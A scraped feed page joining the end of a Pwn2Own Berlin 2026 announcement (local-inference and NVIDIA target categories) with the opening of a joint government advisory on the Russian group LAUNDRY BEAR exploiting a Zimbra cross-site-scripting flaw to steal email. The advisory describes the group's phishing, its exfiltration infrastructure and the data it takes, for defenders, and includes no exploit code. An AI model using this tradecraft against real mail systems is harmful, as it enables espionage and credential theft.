              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8bb9ea99-c1b3-4567-97cb-db2395131a77/Slide8.jpeg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8bb9ea99-c1b3-4567-97cb-db2395131a77/Slide8.jpeg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8bb9ea99-c1b3-4567-97cb-db2395131a77/Slide8.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8bb9ea99-c1b3-4567-97cb-db2395131a77/Slide8.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8bb9ea99-c1b3-4567-97cb-db2395131a77/Slide8.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8bb9ea99-c1b3-4567-97cb-db2395131a77/Slide8.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8bb9ea99-c1b3-4567-97cb-db2395131a77/Slide8.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8bb9ea99-c1b3-4567-97cb-db2395131a77/Slide8.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8bb9ea99-c1b3-4567-97cb-db2395131a77/Slide8.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="ailocal"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">The Local Inference Category</b></p>




  <p class="">We couldn’t leave local inference and LLMs out of Pwn2Own. These products claim to provide enhanced data privacy, zero-cost inference, lower latency, and fully offline functionality. We’ll see how the security stacks up. An attempt in this category must be launched from the contestant’s laptop within the contest network. Here are the targets and payouts for the Local Inference category:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/33770fe8-49c1-425f-83e5-2b141bd2f4e0/Slide9.jpeg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/33770fe8-49c1-425f-83e5-2b141bd2f4e0/Slide9.jpeg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/33770fe8-49c1-425f-83e5-2b141bd2f4e0/Slide9.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/33770fe8-49c1-425f-83e5-2b141bd2f4e0/Slide9.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/33770fe8-49c1-425f-83e5-2b141bd2f4e0/Slide9.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/33770fe8-49c1-425f-83e5-2b141bd2f4e0/Slide9.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/33770fe8-49c1-425f-83e5-2b141bd2f4e0/Slide9.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/33770fe8-49c1-425f-83e5-2b141bd2f4e0/Slide9.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/33770fe8-49c1-425f-83e5-2b141bd2f4e0/Slide9.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="nvidia"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">The NVIDIA Category</b></p>




  <p class="">Our last AI sub-category focuses solely on NVIDIA products. For network accessible targets, an attempt must be launched from the contestant's laptop within the contest network. For NV Container Toolkit, the attempt must be launched from within a crafted container image and execute arbitrary code on the host operating system. For Megatron Bridge, entries that leverage vulnerabilities pertaining to pickle deserialization or that leverage a vulnerability when “trust_remote_code=true” are out of scope. Here are the targets and payouts for the NVIDIA category:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/077616af-de47-4235-a621-a8bf07c8295e/nvidia3.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/077616af-de47-4235-a621-a8bf07c8295e/nvidia3.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/077616af-de47-4235-a621-a8bf07c8295e/nvidia3.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/077616af-de47-4235-a621-a8bf07c8295e/nvidia3.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/077616af-de47-4235-a621-a8bf07c8295e/nvidia3.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/077616af-de47-4235-a621-a8bf07c8295e/nvidia3.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/077616af-de47-4235-a621-a8bf07c8295e/nvidia3.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/077616af-de47-4235-a621-a8bf07c8295e/nvidia3.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/077616af-de47-4235-a621-a8bf07c8295e/nvidia3.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>




  <p class=""><strong>Conclusion</strong></p><p class="">The complete rules for Pwn2Own Berlin 2026 are found <a href="https://www.zerodayinitiative.com/Pwn2OwnBerlin2026Rules.html" target="_blank">here</a>. As always, we <strong>highly</strong> encourage entrants to read the rules thoroughly if they choose to participate. If you are thinking about participating but have specific configuration or rule-related questions, <a href="mailto:pwn2own@trendmicro.com?subject=Pwn2Own%20Berlin%202026%20Question" target="_blank">email</a> us. Questions asked over X (nee Twitter), BlueSky, or other means will not be answered. Registration is required to ensure we have sufficient resources on hand at the event. Please contact ZDI at <a href="mailto:pwn2own@trendmicro.com">pwn2own@trendmicro.com</a> to begin the registration process. Registration for onsite participation closes at 5 p.m. Central European Time on May 7, 2026.</p><p class="">Be sure to stay tuned to this blog and follow us on <a href="https://www.twitter.com/thezdi" target="_blank">Twitter</a>, <a href="https://infosec.exchange/@thezdi" target="_blank">Mastodon</a>, <a href="https://www.linkedin.com/company/zerodayinitiative" target="_blank">LinkedIn</a>, or <a href="https://bsky.app/profile/thezdi.bsky.social" target="_blank">Bluesky</a> for the latest information and updates about the contest. We look forward to seeing everyone in Germany, and we hope to see some of the best in the world show what they can do – vibe coded or not.</p><p class="">With special thanks to our Pwn2Own Berlin 2026 partners AWS, for providing their expertise and technology.</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f5332a6b-e3d2-42e1-bb98-4e9c9de46536/Amazon_Web_Services-Logo.wine.png" data-image-dimensions="3000x2000" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f5332a6b-e3d2-42e1-bb98-4e9c9de46536/Amazon_Web_Services-Logo.wine.png?format=1000w" width="3000" height="2000" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f5332a6b-e3d2-42e1-bb98-4e9c9de46536/Amazon_Web_Services-Logo.wine.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f5332a6b-e3d2-42e1-bb98-4e9c9de46536/Amazon_Web_Services-Logo.wine.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f5332a6b-e3d2-42e1-bb98-4e9c9de46536/Amazon_Web_Services-Logo.wine.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f5332a6b-e3d2-42e1-bb98-4e9c9de46536/Amazon_Web_Services-Logo.wine.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f5332a6b-e3d2-42e1-bb98-4e9c9de46536/Amazon_Web_Services-Logo.wine.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f5332a6b-e3d2-42e1-bb98-4e9c9de46536/Amazon_Web_Services-Logo.wine.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f5332a6b-e3d2-42e1-bb98-4e9c9de46536/Amazon_Web_Services-Logo.wine.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  





  <p class="">© 2026 Trend Micro Incorporated. All rights reserved. PWN2OWN, ZERO DAY INITIATIVE, ZDI, ZERO DAY INITIATIVE, TrendAI, and Trend Micro are trademarks or registered trademarks of Trend Micro Incorporated. All other trademarks and trade names are the property of their respective owners.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite]]></title>
<description><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite
Executive summary 
A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboratio...]]></description>
<link>https://tsecurity.de/de/3694430/it-security-nachrichten/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694430/it-security-nachrichten/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</guid>
<pubDate>Sat, 25 Jul 2026 18:59:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="c-page-title__buttons"><a class="c-button" href="https://media.defense.gov/2026/Jul/22/2003965244/-1/-1/1/CSA_RUSSIA_PHISHING_TARGET_ZIMBRA.PDF">Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite</a></div>
<h2><strong>Executive summary</strong> </h2>
<p>A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboration Suite (ZCS) software since at least July 2025. The Russian state-supported advanced persistent threat (APT) group’s activity is tracked in the cybersecurity community under several names (see <a href="https://www.cisa.gov/#cyber1">Cybersecurity industry tracking</a>), primarily as “LAUNDRY BEAR,” a name initially coined by the Netherlands General Intelligence and Security Service (AIVD) and Defence Intelligence and Security Service (MIVD) [<a href="https://www.cisa.gov/#wc1">1</a>].</p>
<p>LAUNDRY BEAR’s targeting is almost certainly to gather sensitive information for the Russian Federation, with these actors primarily focusing on the covert acquisition of email data. Previous campaigns indicated LAUNDRY BEAR relied on unsophisticated initial access techniques—including password spraying, phishing, and pass-the-cookie—allowing the group to successfully run high-volume operations. The latest campaign targeting ZCS uses a novel exploit that was a zero-day vulnerability when first exploited and continues to be successfully exploited. The vulnerability, Common Vulnerabilities and Exposures (CVE) <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, was patched in November 2025. This demonstrates LAUNDRY BEAR’s intent and ability to deploy increasingly sophisticated technical capabilities.</p>
<p>Unlike traditional phishing campaigns that persuade a user into taking an action, such as clicking a link or opening a file, LAUNDRY BEAR’s latest campaign leverages a view-based exploit that only requires a user to view a malicious email within a vulnerable version of the webmail service. Once viewed, the exploit attempts to exfiltrate the victim’s last 90 days of email communications, the organization email directory (i.e., Global Address List [GAL]), and other sensitive information to servers controlled by LAUNDRY BEAR. The exploit also attempts to establish persistent access to victim accounts through a variety of means as detailed in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section.</p>
<p>This Cybersecurity Advisory (CSA) warns of this ongoing malicious threat activity and urges organizations to update their vulnerable software and implement additional mitigations to thwart these Russian state-supported actors’ continued success. The CSA is being released by the following authoring and co-sealing agencies:</p>
<ul>
<li>United States National Security Agency (NSA)</li>
<li>United States Federal Bureau of Investigation (FBI)</li>
<li>Netherlands Defence Intelligence and Security Service (MIVD)</li>
<li>Netherlands General Intelligence and Security Service (AIVD)</li>
<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Defense Counterintelligence and Security Agency (DCSA)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>United States Department of the Treasury</li>
<li>United States Naval Criminal Investigative Service (NCIS)</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)<a href="https://www.cisa.gov/#f1"><sup>1</sup></a></li>
<li>Danish Defence Intelligence Service (DDIS)<a href="https://www.cisa.gov/#f2"><sup>2</sup></a></li>
<li>Estonian Foreign Intelligence Service (EFIS)<a href="https://www.cisa.gov/#f3"><sup>3</sup></a></li>
<li>Finnish Defence Intelligence (FDI)<a href="https://www.cisa.gov/#f4"><sup>4</sup></a></li>
<li>Finnish Security and Intelligence Service (SUPO)<a href="https://www.cisa.gov/#f5"><sup>5</sup></a></li>
<li>French General Directorate for Internal Security (DGSI)<a href="https://www.cisa.gov/#f6"><sup>6</sup></a></li>
<li>French National Cybersecurity Agency (ANSSI)<a href="https://www.cisa.gov/#f7"><sup>7</sup></a></li>
<li>Italian External Intelligence and Security Agency (AISE)<a href="https://www.cisa.gov/#f8"><sup>8</sup></a></li>
<li>Italian Internal Intelligence and Security Agency (AISI)<a href="https://www.cisa.gov/#f9"><sup>9</sup></a></li>
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM)<a href="https://www.cisa.gov/#f10"><sup>10</sup></a></li>
<li>Polish Foreign Intelligence Agency (AW)<a href="https://www.cisa.gov/#f11"><sup>11</sup></a></li>
<li>The Military Counterintelligence Service of Poland (SKW)<a href="https://www.cisa.gov/#f12"><sup>12</sup></a></li>
<li>Spain National Intelligence Centre (CNI)<a href="https://www.cisa.gov/#f13"><sup>13</sup></a></li>
<li>Sweden National Cyber Security Centre (NCSC-SE)<a href="https://www.cisa.gov/#f14"><sup>14</sup></a></li>
</ul>
<p>The authoring agencies urge any organizations using ZCS to implement the recommendations listed within the <a href="https://www.cisa.gov/#mitigations1">Mitigations</a> section of this advisory to reduce the risk associated with this activity. This CSA also includes specific remediations for organizations to implement if they discover the presence of the listed <a href="https://www.cisa.gov/#ioc1">Indicators of compromise</a> (IOCs).  </p>
<p>As more organizations update their ZCS software based on this CSA, LAUNDRY BEAR may discontinue the current campaign exploiting this vulnerability; however, based on the success of this and previous campaigns, it is very likely that the group will continue to target ZCS and other email systems used by organizations in Western countries. The actors will almost certainly continue to rely on email to engage potential victims by exploiting novel vulnerabilities and, when necessary, use social engineering techniques to assist with their efforts. The authoring agencies recommend organizations regularly update their mail service software and continuously monitor their email systems and emails for malicious activity.</p>
<p>For a downloadable list of IOCs, see:</p>
<ul>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.xml">AA26-204A.stix.xml</a> (STIX XML)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.json">AA26-204A.stix.json</a> (STIX JSON)</li>
</ul>
<h2><strong>Cybersecurity industry tracking</strong><a class="ck-anchor"></a></h2>
<p>The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to these Russian state-supported cyber actors. While not exhaustive, the following are threat group names commonly used for these actors within the cybersecurity community:</p>
<ul>
<li>LAUNDRY BEAR</li>
<li>Void Blizzard [<a href="https://www.cisa.gov/#wc2">2</a>]</li>
<li>CL-STA-1114 [<a href="https://www.cisa.gov/#wc3">3</a>]</li>
<li>TA488 (formerly UNK_PitStop) [<a href="https://www.cisa.gov/#wc4">4</a>]</li>
</ul>
<p><strong>Note:</strong> Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the U.S. government’s understanding for all activity related to these groupings.</p>
<h2><strong>Background</strong></h2>
<p>Public advisories from Netherlands General Intelligence and Security Service (AIVD), Netherlands Defence Intelligence and Security Service (MIVD), and Microsoft highlighted these Russian state-supported advanced persistent threat (APT) actors in May 2025, calling them LAUNDRY BEAR and Void Blizzard respectively [<a href="https://www.cisa.gov/#wc1">1</a>] [<a href="https://www.cisa.gov/#wc2">2</a>]. Both advisories assessed that the group was engaged in malicious cyber activity as early as April 2024.  </p>
<p>The May 2025 advisories highlighted a cluster of activity targeting cloud-based email environments, including Microsoft Exchange in particular, and abusing legitimate APIs to perform data exfiltration in bulk [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank">T1114.002</a>]. The group relied on unsophisticated means of initial access, including procuring stolen credentials on criminal marketplaces [<a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank">T1078</a>], and using social engineering techniques to lure targets into interacting with a malicious site masquerading as a legitimate one. As of April 2025, one of these sites resembled a European Defence &amp; Security Summit registration portal that required registrants to sign in to their Microsoft account to view. Once a user entered their Microsoft credentials into this malicious site, LAUNDRY BEAR’s modified version of the open source adversary emulation toolkit, Evilginx, intercepted the user’s credentials. LAUNDRY BEAR then used this authentication data, including passwords and session tokens, to access the compromised account and conduct mass email exfiltration, as well as harvest other information. This method of compromise is commonly known as an adversary-in-the-middle (AiTM) technique [<a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank">T1557</a>].  </p>
<p>Beginning around July 2025, LAUNDRY BEAR shifted toward a more technical method of email compromise, highlighting their continued efforts to covertly acquire email communications from a variety of Western organizations of interest and deliver them to the Russian Federation. Using a custom-developed capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank">T1587.001</a>] named “<em>Улей</em>” or “<em>Ulej</em>” (Russian for beehive), LAUNDRY BEAR successfully targeted and exfiltrated sensitive user information from organizations who use the Zimbra Collaboration Suite (ZCS) product [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank">T1114</a>]. Data LAUNDRY BEAR attempted to exfiltrate from compromised accounts included:</p>
<ul>
<li>Last 90 days of emails,</li>
<li>Email address,</li>
<li>Password [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank">T1589.001</a>],</li>
<li>Global Address List (GAL) [<a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank">T1087</a>],</li>
<li>Two-factor authentication (2FA) tokens, and</li>
<li>Newly-created Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank">T1098</a>].</li>
</ul>
<p>The covert and persistent nature of this activity, along with the absence of any known financial extortion, almost certainly indicates this group’s involvement in espionage activities with Russian government backing. Additionally, extensive Ukrainian targeting, prior to use against U.S. and other NATO allies, outlines an increasing trend within Russian cyber threat groups to target Ukrainian users first—both as a priority target and as a testbench for malicious cyber techniques before broader global deployment.</p>
<h2><strong>Targeting details</strong></h2>
<p>LAUNDRY BEAR has targeted and compromised users in various organizations, including those associated with:</p>
<ul>
<li>the Defense Industrial Base (DIB),  </li>
<li>the federal and local government,</li>
<li>education,</li>
<li>energy,</li>
<li>law enforcement,  </li>
<li>media,  </li>
<li>non-governmental organizations, and</li>
<li>technology.</li>
</ul>
<h2><strong>Technical details</strong></h2>
<p><strong>Note:</strong> This advisory uses the <a href="https://attack.mitre.org/versions/v19/matrices/enterprise/" target="_blank">MITRE ATT&amp;CK® Matrix for Enterprise</a> framework, version 19. This advisory also uses <a href="https://d3fend.mitre.org/" target="_blank">MITRE D3FEND<sup>TM</sup></a> version 1.4.0<a href="https://www.cisa.gov/#f15"><sup>15</sup></a>. See <a href="https://www.cisa.gov/#appendixa">Appendix A</a> and <a href="https://www.cisa.gov/#appendixb">Appendix B</a> for tables of the activity mapped to MITRE ATT&amp;CK and D3FEND tactics, techniques, and countermeasures.</p>
<p><em>Ulej </em>is a novel data exfiltration and aggregation capability, that currently (as of the publication of this report) supports a campaign specifically targeting users of ZCS webmail servers. This capability is used to exploit <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> [Common Weakness Enumeration (CWE) <a href="https://cwe.mitre.org/data/definitions/79.html" target="_blank">CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'</a>)], but likely could be adapted to exploit other vulnerabilities. It exfiltrates emails and other sensitive user data from a victim’s system immediately after exploitation and stores the data in an actor-controlled unattributable virtual private server (VPS) [<a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank">T1074.002</a>] running LAUNDRY BEAR’s “Flowerbed” collection framework. The collected data is almost certainly further exfiltrated to internal network resources for review and long-term retention.</p>
<h3><em><strong>Reconnaissance</strong></em></h3>
<p>LAUNDRY BEAR uses the <em>Ulej </em>capability to exploit the <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> vulnerability in organizations using ZCS. This campaign’s targeted victimology and limited exploitation capabilities likely indicate this group manually identifies and targets the victim organizations. LAUNDRY BEAR likely identifies organizations with public-facing Zimbra infrastructure by port scanning [<a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank">T1595</a>] and fingerprinting datasets easily procured through various commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank">T1596.005</a>].  </p>
<p>After identifying a target organization, the group likely compiles email addresses for individual users to target with the exploit [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank">T1589.002</a>] from datasets offered by commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank">T1597.002</a>], open source intelligence [<a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank">T1593</a>], or previously exfiltrated data [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank">T1597</a>].  </p>
<h3><em><strong>Resource development </strong></em><a class="ck-anchor"></a></h3>
<p>The actors procure VPSs from a variety of providers [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank">T1583.003</a>], including those with Know Your Customer (KYC) requirements, and often use fabricated identities. LAUNDRY BEAR primarily uses Mullvad VPN [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/">T1583</a>] when interacting with these servers, further demonstrating the group’s intent to mask their identity and maintain operations security (OPSEC). After the server is provisioned, an automated process deploys the Docker containers necessary for <em>Ulej’s</em> Flowerbed framework [<a href="https://attack.mitre.org/versions/v19/techniques/T1608/">T1608</a>], which then receives and aggregates the data <em>Ulej</em> exfiltrates. These servers are typically only used for 7-60 days before moving to new infrastructure.</p>
<h4><strong>Flowerbed framework</strong></h4>
<p>Flowerbed is a Python project that uses Docker for containerization. The project includes four different Docker containers:</p>
<ul>
<li>Catcher,</li>
<li>Certbot,</li>
<li>Nginx, and</li>
<li>Gardener.</li>
</ul>
<p>Catcher acts as both a DNS and HTTP server to receive and aggregate exfiltrated victim information [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/">T1048</a>]. For additional information on Catcher, refer to the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory. Flowerbed’s next container, Certbot, is based on one of the official Certbot containers, which allows for automated generation of Let’s Encrypt certificates using DNS challenges through Cloudflare. This certificate can then be used by the Nginx container, which serves as an HTTPS reverse proxy for Catcher, enabling Flowerbed to disguise some of its exfiltration activity through an encrypted communications channel [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank">T1048.002</a>]. The Nginx reverse proxy also validates that the Server Name Indicator (SNI) value contains “*.i.*” prior to forwarding the traffic to Catcher. If the SNI does not contain that string, the Nginx server returns a 444 error to the client. This is likely an attempt to reject non-Ulej connections. Finally, the Gardener container functions as a health check for the Catcher service. Gardener is a simple Python script that validates Catcher correctly receives and processes data.</p>
<p>The simplistic Flowerbed codebase has indications that artificial intelligence (AI) played a role in its development. This highlights how AI is increasingly being used to develop malicious capabilities [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank">T1588.007</a>]. The dependence on AI for a simple capability, such as Flowerbed, alongside a previous reliance on open source capabilities, such as Evilginx2 [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank">T1588.002</a>], likely indicates a lack of advanced technical knowledge within LAUNDRY BEAR, especially in relation to true software development capabilities.</p>
<h3><em><strong>Initial access</strong></em></h3>
<p>To gain initial access, LAUNDRY BEAR sends an email containing a malicious JavaScript payload to the target [<a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank">T1566</a>]. Through exploitation of <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, this JavaScript payload is immediately executed once the user views the malicious email [<a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank">T1203</a>], such as the one shown in <a href="https://www.cisa.gov/#figure1"><strong>Figure 1</strong></a>, in the ZCS webmail platform. Since at least November 2025, LAUNDRY BEAR began sending these phishing emails from victim infrastructure through compromised accounts [<a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank">T1199</a>], as shown in the email metadata in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>. These compromised accounts were likely previous victims of this, or another LAUNDRY BEAR, campaign and their use is intended to further obfuscate and frustrate anti-phishing tools and training.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure1.png?itok=yrzcl7tK" width="604" height="235" alt="Figure 1: Example of malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 1: Example of malicious email</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure2.png?itok=vEulmmyx" width="604" height="102" alt="Figure 2: Headers from an example malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 2: Headers from an example malicious email</strong></em></figcaption>
  </figure>
<p>According to the National Vulnerability Database (NVD), <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-66376" target="_blank">CVE-2025-66376</a> was initially published on 5 January 2026. This vulnerability allows for execution of a JavaScript payload included in email content due to improper sanitization of Cascading Style Sheet’s (CSS) @import directives within an email [<a href="https://www.cisa.gov/#wc5">5</a>]. Because the activity attributed to this campaign began in July 2025—months before Synacor released a patch and the CVE was published—the payload initially exploited a zero-day vulnerability at that time [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank">T1587.004</a>].  </p>
<p><strong>Utilization of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability.</strong></p>
